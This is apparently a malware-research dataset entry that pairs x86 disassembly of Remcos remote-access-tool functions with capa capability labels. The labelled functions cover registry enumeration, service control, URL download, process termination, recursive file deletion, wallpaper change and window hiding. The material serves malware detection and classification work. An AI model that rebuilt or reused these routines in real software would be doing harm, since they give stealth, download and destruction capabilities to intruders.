joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40c2d4
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0xabb4
call fcn.00447e20
push ebx
push esi
push edi
push 0x208
xor esi, esi
lea eax, [ebp - 0x4a0]
push esi
push eax
mov ebx, ecx
call fcn.0042c2a0
add esp, 0xc
mov dword [ebp - 0x14], 0x104
lea eax, [ebp - 0x50]
mov dword [ebp - 4], esi
mov dword [ebp - 8], 0x3fff
push eax
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x4a0]
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
mov eax, dword [ebp - 4]
test eax, eax
je 0x40c3b2
test eax, eax
je 0x40c3b2
lea eax, [ebp - 0x50]
mov dword [ebp - 0x18], 0xff
push eax
push 0
push 0
push 0
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x298]
push eax
push esi
push ebx
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x40c3ac
push 0x456b00
lea ecx, [ebp - 0x34]
call fcn.00403540
push eax
lea edx, [ebp - 0x298]
lea ecx, [ebp - 0x68]
call fcn.00408274
pop ecx
push eax
mov ecx, 0x4633d0
call fcn.00405e2a
lea ecx, [ebp - 0x68]
call fcn.00403536
lea ecx, [ebp - 0x34]
call fcn.00403536
inc esi
cmp esi, dword [ebp - 4]
jb 0x40c34c
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x40c4f4
xor esi, esi
test eax, eax
je 0x40c4f4
xor eax, eax
mov byte [ebp - 0x5c], 0
lea edi, [ebp - 0x5b]
mov dword [ebp - 0xc], 0x2710
stosd dword es:[edi], eax
mov dword [ebp - 8], 0x3fff
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
mov word [ebp - 0xabb0], ax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x2bb0]
push eax
lea eax, [ebp - 0x1c]
push eax
push 0
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xabb0]
push eax
push esi
push ebx
call dword [sym.imp.ADVAPI32.dll_RegEnumValueW]
test eax, eax
jne 0x40c4ea
push 0xa
lea eax, [ebp - 0x5c]
push eax
push dword [ebp - 0x1c]
call fcn.00434a4d
add esp, 0xc
lea ecx, [ebp - 0x80]
push 0x456b00
call fcn.00403540
push eax
lea edx, [ebp - 0xabb0]
lea ecx, [ebp - 0x34]
call fcn.00408274
pop ecx
push eax
mov ecx, 0x4633e8
call fcn.00405e2a
lea ecx, [ebp - 0x34]
call fcn.00403536
lea ecx, [ebp - 0x80]
call fcn.00403536
push 0x456500
lea ecx, [ebp - 0x34]
call fcn.0040219e
push eax
lea edx, [ebp - 0x5c]
lea ecx, [ebp - 0x80]
call fcn.00402a93
pop ecx
push eax
mov ecx, 0x463400
call fcn.00402094
lea ecx, [ebp - 0x80]
call fcn.004020b7
lea ecx, [ebp - 0x34]
call fcn.004020b7
push str._regsplt_
lea ecx, [ebp - 0x98]
call fcn.0040219e
push eax
push dword [ebp - 0xc]
lea eax, [ebp - 0x2bb0]
push eax
lea ecx, [ebp - 0x34]
call fcn.004021c5
mov edx, eax
lea ecx, [ebp - 0x80]
call fcn.00405b42
pop ecx
push eax
mov ecx, 0x4634a8
call fcn.00402094
lea ecx, [ebp - 0x80]
call fcn.004020b7
lea ecx, [ebp - 0x34]
call fcn.004020b7
lea ecx, [ebp - 0x98]
call fcn.004020b7
inc esi
cmp esi, dword [ebp - 0x10]
jb 0x40c3c7
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40e89d
Capabilities:
Create process on windows
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xdc
push ebx
push esi
push edi
push str._sysinfo.txt
push str.temp
call fcn.0042fcf2
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.00403540
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00406e4d
pop ecx
lea ecx, [ebp - 0x30]
call fcn.00403536
xor ebx, ebx
lea eax, [ebp - 0x48]
push ebx
push ebx
push eax
mov edx, 0x45bff4
lea ecx, [ebp - 0x30]
call fcn.00408298
pop ecx
mov ecx, eax
call fcn.004043ec
push eax
push str.dxdiag
push 0x45650c
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
lea ecx, [ebp - 0x30]
call fcn.00403536
lea ecx, [ebp - 0x18]
call fcn.004021ef
mov esi, ebx
lea ecx, [ebp - 0x48]
call fcn.004043ec
lea edx, [ebp - 0x18]
mov ecx, eax
call fcn.00411f19
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0x18]
inc esi
call fcn.0040993b
test al, al
je 0x40e945
cmp esi, 0x4b0
jl 0x40e916
lea ecx, [ebp - 0x18]
call fcn.0040993b
test al, al
jne 0x40e9de
lea ecx, [ebp - 0x48]
call fcn.004043ec
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 1
lea ecx, [ebp - 0xd8]
call fcn.0040151a
sub esp, 0x10
lea ecx, [ebp - 0xd8]
mov edi, esp
mov esi, 0x462a50
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call fcn.0040170d
test al, al
je 0x40e9d3
sub esp, 0x18
lea eax, [ebp - 0x18]
mov esi, esp
lea edx, [ebp + 8]
push eax
push ecx
lea ecx, [ebp - 0x30]
call fcn.00404415
pop ecx
mov edx, eax
mov ecx, esi
call fcn.004043f1
pop ecx
push 0x97
lea ecx, [ebp - 0xd8]
call fcn.004018ed
lea ecx, [ebp - 0x30]
call fcn.004020b7
lea ecx, [ebp - 0xd8]
call fcn.00401c54
mov bl, 1
lea ecx, [ebp - 0xd8]
call fcn.00401d1e
lea ecx, [ebp - 0x18]
call fcn.004020b7
lea ecx, [ebp - 0x48]
call fcn.00403536
lea ecx, [ebp + 8]
call fcn.004020b7
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40ef5d
Capabilities:
Create process on windows
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x13c
lea eax, [ebp + 8]
lea ecx, [ebp - 0x84]
push ebx
push esi
push edi
push eax
push str._nF2
call fcn.0040219e
push eax
push str.Temp
call fcn.0042fcfd
pop ecx
mov edx, eax
lea ecx, [ebp - 0x6c]
call fcn.00402a93
pop ecx
mov edx, eax
lea ecx, [ebp - 0x18]
call fcn.004043f1
pop ecx
lea ecx, [ebp - 0x6c]
call fcn.004020b7
lea ecx, [ebp - 0x84]
call fcn.004020b7
push ecx
push ecx
push 0x10
lea ecx, [ebp - 0x18]
call fcn.0040204e
push eax
lea ecx, [ebp - 0x138]
call fcn.00409996
lea ecx, [ebp - 0x138]
call fcn.0040f19a
test al, al
je 0x40f08e
lea edx, [ebp + 0x20]
lea ecx, [ebp - 0x138]
call fcn.0040f1aa
lea ecx, [ebp - 0x138]
call fcn.00409947
and dword [ebp - 0x4c], 0
lea ecx, [ebp - 0x18]
and dword [ebp - 0x48], 0
mov dword [ebp - 0x54], 0x3c
mov dword [ebp - 0x50], 0x40
call fcn.0040204e
movaps xmm0, xmmword [0x45c760]
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x54]
push eax
movups xmmword [ebp - 0x40], xmm0
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
mov esi, 0x4564e4
mov edi, 0x463568
setne bl
cmp dword [ebp - 0x1c], 0
je 0x40f078
sub esp, 0x18
mov ecx, esp
push esi
call fcn.0040219e
push 0x70
mov ecx, edi
call fcn.004018ed
push 0xffffffffffffffff
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x18]
call fcn.0040204e
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp bl, 1
jne 0x40f0a9
sub esp, 0x18
mov ecx, esp
push esi
call fcn.0040219e
push 0x6e
mov ecx, edi
jmp 0x40f0a4
sub esp, 0x18
mov ecx, esp
push 0x4564e4
call fcn.0040219e
push 0x6f
mov ecx, 0x463568
call fcn.004018ed
lea ecx, [ebp - 0x138]
call fcn.004093b9
lea ecx, [ebp - 0x18]
call fcn.004020b7
lea ecx, [ebp + 8]
call fcn.004020b7
lea ecx, [ebp + 0x20]
call fcn.004020b7
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x410b5c
Capabilities:
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
push 0x20
xor ebx, ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
push 0x20
lea ecx, [ebp + 8]
mov esi, eax
call fcn.004043ec
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov edi, eax
test edi, edi
jne 0x410b94
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x410bb2
lea eax, [ebp - 0x1c]
push eax
push 1
push edi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
setne bl
call esi
push edi
call esi
lea ecx, [ebp + 8]
call fcn.00403536
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x410bc3
Capabilities:
Query service status
Start service
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
push 0x11
xor ebx, ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
push 0xf003f
lea ecx, [ebp + 8]
mov esi, eax
call fcn.004043ec
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov edi, eax
test edi, edi
jne 0x410bfe
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x410c4f
lea eax, [ebp - 0x1c]
push eax
push 1
push edi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
jne 0x410c1f
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
mov bl, 2
jmp 0x410c4f
lea eax, [ebp - 0x1c]
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
cmp dword [ebp - 0x18], 1
jne 0x410c1f
push ebx
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
neg eax
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
sbb ebx, ebx
and ebx, 0xfffffffe
add ebx, 3
call esi
push edi
call esi
lea ecx, [ebp + 8]
call fcn.00403536
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x410c60
Capabilities:
Pause service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
push 0x40
xor ebx, ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
push 0x40
lea ecx, [ebp + 8]
mov esi, eax
call fcn.004043ec
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov edi, eax
test edi, edi
jne 0x410c98
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x410cb6
lea eax, [ebp - 0x1c]
push eax
push 2
push edi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
setne bl
call esi
push edi
call esi
lea ecx, [ebp + 8]
call fcn.00403536
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x410cc7
Capabilities:
Continue service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
push 0x40
xor ebx, ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
push 0x40
lea ecx, [ebp + 8]
mov esi, eax
call fcn.004043ec
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov edi, eax
test edi, edi
jne 0x410cff
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x410d1d
lea eax, [ebp - 0x1c]
push eax
push 3
push edi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
setne bl
call esi
push edi
call esi
lea ecx, [ebp + 8]
call fcn.00403536
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x410d2e
Capabilities:
Modify service

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push 2
xor ebx, ebx
mov byte [ebp - 1], cl
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
push 2
lea ecx, [ebp + 8]
mov esi, eax
call fcn.004043ec
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov edi, eax
test edi, edi
jne 0x410d67
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x410dab
movzx eax, byte [ebp - 1]
or ecx, 0xffffffff
sub eax, ebx
je 0x410d84
sub eax, 1
je 0x410d80
sub eax, 1
jne 0x410d87
push 3
jmp 0x410d86
push 2
jmp 0x410d86
push 4
pop ecx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0xffffffffffffffff
push ecx
push 0xffffffffffffffff
push edi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
test eax, eax
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
setne bl
call esi
push edi
call esi
lea ecx, [ebp + 8]
call fcn.00403536
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x410dd0
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push esi
push edi
push ecx
lea ecx, [ebp - 0x18]
call fcn.004123c9
pop ecx
lea ecx, [ebp - 0x18]
call fcn.004043ec
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x410e5e
mov edi, 0x463810
mov edx, 0x4564e4
mov ecx, edi
call fcn.00403fbe
test al, al
je 0x410e3f
sub esp, 0x18
cmp byte [0x462ceb], 0
mov ecx, esp
push 0x45c098
je 0x410e29
call fcn.0040219e
mov ecx, 0x463828
jmp 0x410e33
call fcn.0040219e
mov ecx, 0x4634c0
push 0xa1
call fcn.004018ed
jmp 0x410e6d
lea ecx, [ebp - 0x18]
call fcn.004043ec
sub esp, 0x18
mov esi, eax
mov ecx, esp
push edi
call fcn.00402206
mov ecx, esi
call fcn.00411f8b
add esp, 0x18
lea ecx, [ebp - 0x18]
call fcn.004043ec
mov ecx, eax
call fcn.00410e7b
lea ecx, [ebp - 0x18]
call fcn.00403536
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x410ed0
Capabilities:
Check if file exists

Disassembly:
push ebx
push ecx
mov ecx, 0x463810
mov bl, dl
call fcn.0040209d
test bl, bl
je 0x410ee8
pop ebx
jmp fcn.00410dd0
pop ebx
ret
Function at 0x4110c4
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7c
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov edi, edx
push ecx
lea ecx, [ebp + 8]
call fcn.0041130a
cmp eax, 0xffffffff
jne 0x411105
lea ecx, [ebp + 8]
call fcn.004043ec
push eax
mov dl, 0x30
lea ecx, [ebp - 0x18]
call fcn.00412413
pop ecx
push eax
lea ecx, [ebp + 8]
call fcn.004056a0
lea ecx, [ebp - 0x18]
call fcn.00403536
mov ecx, edi
call fcn.00402046
lea ecx, [ebp + 8]
test eax, eax
je 0x4111f2
call fcn.004043ec
sub esp, 0x18
mov esi, eax
mov ecx, esp
push edi
call fcn.00402206
mov ecx, esi
call fcn.00411f8b
add esp, 0x18
push str._alias_audio
mov edx, ebx
lea ecx, [ebp - 0x78]
call fcn.00411990
push eax
lea eax, [ebp + 8]
mov edx, str.open__
push str.__type
push eax
lea ecx, [ebp - 0x60]
call fcn.00408298
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00406e4d
pop ecx
mov edx, eax
lea ecx, [ebp - 0x18]
call fcn.004081da
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.00406e4d
pop ecx
lea ecx, [ebp - 0x18]
call fcn.00403536
lea ecx, [ebp - 0x48]
call fcn.00403536
lea ecx, [ebp - 0x60]
call fcn.00403536
lea ecx, [ebp - 0x78]
call fcn.00403536
xor ebx, ebx
lea ecx, [ebp - 0x30]
push ebx
push ebx
push ebx
call fcn.004043ec
push eax
call dword [sym.imp.WINMM.dll_mciSendStringW]
mov esi, dword [sym.imp.WINMM.dll_mciSendStringA]
push ebx
push ebx
push ebx
push str.play_audio
call esi
sub esp, 0x18
mov ecx, esp
push 0x4564e4
call fcn.0040219e
push 0xa9
mov ecx, 0x463828
call fcn.004018ed
push ebx
push ebx
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [0x462dfc], eax
jmp 0x4112b9
call fcn.004043ec
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x411133
sub esp, 0x18
mov ecx, esp
push 0x4564e4
call fcn.0040219e
push 0xa8
mov ecx, 0x463828
call fcn.004018ed
jmp 0x4112fb
cmp byte [0x462cea], bl
je 0x411241
push ebx
push ebx
push ebx
push str.pause_audio
call esi
mov byte [0x462cea], bl
cmp byte [0x462ce9], bl
je 0x411259
push ebx
push ebx
push ebx
push str.resume_audio
call esi
mov byte [0x462ce9], bl
push ebx
push 0x14
lea eax, [ebp - 0x14]
push eax
push str.status_audio_mode
call esi
lea edx, [ebp - 0x14]
mov edi, str.stopped
mov ecx, ebx
movzx eax, byte [edx + ecx]
cmp al, byte [edi + ecx]
jne 0x41128c
inc ecx
cmp ecx, 8
jne 0x411271
push dword [0x462dfc]
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 0x1f4
push dword [0x462dfc]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x4112b4
push dword [0x462dfc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
jmp 0x4111e8
mov eax, dword [0x462dfc]
test eax, eax
jne 0x411229
push ebx
push ebx
push ebx
push str.stop_audio
call esi
push ebx
push ebx
push ebx
push str.close_audio
call esi
sub esp, 0x18
mov ecx, esp
push 0x4564e4
call fcn.0040219e
push 0xaa
mov ecx, 0x463828
call fcn.004018ed
lea ecx, [ebp - 0x30]
call fcn.00403536
lea ecx, [ebp + 8]
call fcn.00403536
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4117c7
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
push ebx
push esi
push edi
xor edi, edi
mov ebx, edx
test ecx, ecx
je 0x411849
push edi
push edi
lea eax, [ebp - 8]
push eax
push ecx
push edi
call dword [sym.imp.urlmon.dll_URLOpenBlockingStreamW]
test eax, eax
js 0x411849
mov eax, dword [ebp - 8]
lea edx, [ebp - 0x54]
push 1
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x30]
test eax, eax
js 0x411840
mov esi, dword [ebp - 0x4c]
inc esi
push esi
mov dword [ebp - 0x4c], esi
call fcn.0042fa66
mov dword [ebx], eax
pop ecx
test eax, eax
je 0x411840
push esi
push edi
push eax
call fcn.0042c2a0
add esp, 0xc
lea eax, [esi - 1]
mov esi, dword [ebp + 8]
push edi
mov dword [esi], eax
mov eax, dword [ebp - 8]
push edi
push edi
push edi
mov ecx, dword [eax]
push eax
call dword [ecx + 0x14]
mov eax, dword [ebp - 8]
push edi
push dword [esi]
push dword [ebx]
mov ecx, dword [eax]
push eax
call dword [ecx + 0xc]
inc edi
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4118af
Capabilities:
Terminate process

Disassembly:
push ebx
push esi
push ecx
xor ebx, ebx
push ebx
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x4118d7
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
push esi
setne bl
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
mov al, bl
pop ebx
ret
Function at 0x411cce
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x66c
push ebx
push esi
mov ebx, ecx
lea esi, [ebp - 0x418]
push edi
mov dword [ebp - 8], ebx
mov edx, ebx
sub esi, ebx
movzx eax, word [edx]
mov word [esi + edx], ax
lea edx, [edx + 2]
test ax, ax
jne 0x411ce9
lea ecx, [ebp - 0x418]
sub ecx, 2
xor edx, edx
mov ax, word [ecx + 2]
lea ecx, [ecx + 2]
cmp ax, dx
jne 0x411d03
mov eax, dword [0x45c1c8]
lea edx, [ebp - 0x210]
mov dword [ecx], eax
sub edx, ebx
mov ax, word [0x45c1cc]
mov word [ecx + 4], ax
mov ecx, ebx
movzx eax, word [ecx]
mov word [edx + ecx], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x411d2a
lea edi, [ebp - 0x210]
sub edi, 2
xor esi, esi
mov ax, word [edi + 2]
lea edi, [edi + 2]
cmp ax, si
jne 0x411d44
mov eax, dword [0x456664]
mov dword [edi], eax
lea eax, [ebp - 0x668]
push eax
lea eax, [ebp - 0x418]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x411eb8
mov ecx, esi
movzx eax, word [ebp + ecx - 0x210]
lea ecx, [ecx + 2]
mov word [ebp + ecx - 0x41a], ax
test ax, ax
jne 0x411d78
mov byte [ebp - 1], 1
lea eax, [ebp - 0x668]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
je 0x411e9f
lea ecx, [ebp - 0x63c]
call fcn.00411c58
test eax, eax
jne 0x411e38
lea edx, [ebp - 0x63c]
xor ecx, ecx
mov esi, edx
mov ax, word [edx]
add edx, 2
cmp ax, cx
jne 0x411dc3
lea edi, [ebp - 0x210]
sub edx, esi
sub edi, 2
mov ax, word [edi + 2]
add edi, 2
cmp ax, cx
jne 0x411dd9
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
test byte [ebp - 0x668], 0x10
rep movsb byte es:[edi], byte [esi]
je 0x411e55
lea ecx, [ebp - 0x210]
call fcn.00411cce
test eax, eax
je 0x411eb1
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
xor esi, esi
mov ecx, esi
movzx eax, word [ebp + ecx - 0x418]
lea ecx, [ecx + 2]
mov word [ebp + ecx - 0x212], ax
test ax, ax
jne 0x411e20
mov al, byte [ebp - 1]
test al, al
jne 0x411d94
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
jmp 0x411eba
test byte [ebp - 0x668], 1
je 0x411e70
push 0x80
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
je 0x411eb1
xor esi, esi
mov ecx, esi
movzx eax, word [ebp + ecx - 0x418]
lea ecx, [ecx + 2]
mov word [ebp + ecx - 0x212], ax
test ax, ax
jne 0x411e85
jmp 0x411e38
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
jne 0x411eb1
xor eax, eax
mov byte [ebp - 1], al
jmp 0x411e3b
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x411ec1
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ecx
push ebx
push 0x80
push 2
push ebx
push ebx
push 0x40000000
push dword [ebp + 8]
mov edi, edx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x411ef3
xor al, al
jmp 0x411f12
push ebx
lea eax, [ebp - 8]
push eax
push edi
push dword [ebp - 4]
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x411f09
mov bl, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x411f19
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push edi
xor ebx, ebx
mov dword [ebp - 4], edx
push ebx
push 0x80
push 3
push ebx
push 3
push closesocket
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x411f47
xor al, al
jmp 0x411f85
push esi
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, dword [ebp - 4]
mov esi, eax
push ebx
push esi
call fcn.00405a68
mov ecx, dword [ebp - 4]
lea eax, [ebp - 8]
push ebx
push eax
push esi
mov dword [ebp - 8], ebx
call fcn.0040204e
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
pop esi
test eax, eax
je 0x411f7c
mov bl, 1
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4122ca
Capabilities:
Change the wallpaper

Disassembly:
push ebx
push esi
push edi
mov edi, edx
sub ecx, 0
je 0x412376
sub ecx, 1
je 0x412368
sub ecx, 1
je 0x41235a
sub ecx, 1
je 0x412327
sub ecx, 1
jne 0x4123b8
push 1
sub esp, 0x18
mov ecx, esp
push 0x456520
call fcn.0040219e
mov esi, str.Control_PanelDesktop
push str.WallpaperStyle
mov edx, esi
call fcn.0040c056
add esp, 0x20
push 1
sub esp, 0x18
mov ecx, esp
push 0x45651c
jmp 0x4123a4
push 1
sub esp, 0x18
mov ecx, esp
push 0x45bf18
call fcn.0040219e
mov esi, str.Control_PanelDesktop
push str.WallpaperStyle
mov edx, esi
call fcn.0040c056
add esp, 0x20
push 1
sub esp, 0x18
mov ecx, esp
push 0x456520
jmp 0x4123a4
push 1
sub esp, 0x18
mov ecx, esp
push 0x45c2e4
jmp 0x412333
push 1
sub esp, 0x18
mov ecx, esp
push 0x456508
jmp 0x412333
push 1
sub esp, 0x18
mov ebx, 0x456520
mov ecx, esp
push ebx
call fcn.0040219e
mov esi, str.Control_PanelDesktop
push str.WallpaperStyle
mov edx, esi
call fcn.0040c056
add esp, 0x20
push 1
sub esp, 0x18
mov ecx, esp
push ebx
call fcn.0040219e
push str.TileWallpaper
mov edx, esi
call fcn.0040c056
add esp, 0x20
push 3
push edi
push 0
push 0x14
call dword [sym.imp.USER32.dll_SystemParametersInfoW]
pop edi
pop esi
pop ebx
ret

Function at 0x412ff8
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc8
push ebx
mov bl, cl
call dword [sym.imp.KERNEL32.dll_AllocConsole]
call dword [0x4638b8]
test bl, bl
mov dword [0x46300c], eax
pop ebx
jne 0x413023
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push esi
push edi
push 1
call fcn.004314e6
push eax
push 0x45c3b0
push str.CONOUT_
call fcn.00434ce5
push 0xc8
lea eax, [ebp - 0xc8]
push 0
push eax
call fcn.0042c2a0
lea edi, [ebp - 0xc8]
add esp, 0x1c
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x413059
push 7
pop ecx
mov esi, str.___________________________n
rep movsd dword es:[edi], dword [esi]
lea edi, [ebp - 0xc8]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x413072
mov esi, str.__Remcos_v
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
lea edi, [ebp - 0xc8]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x413089
mov esi, str.3.3.0_Light
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
lea edi, [ebp - 0xc8]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4130a0
push 6
pop ecx
mov esi, str._n__BreakingSecurity.net_n
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edi, [ebp - 0xc8]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4130bb
push 7
pop ecx
mov esi, str.___________________________n_n
lea eax, [ebp - 0xc8]
rep movsd dword es:[edi], dword [esi]
push eax
movsb byte es:[edi], byte [esi]
call fcn.00411345
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret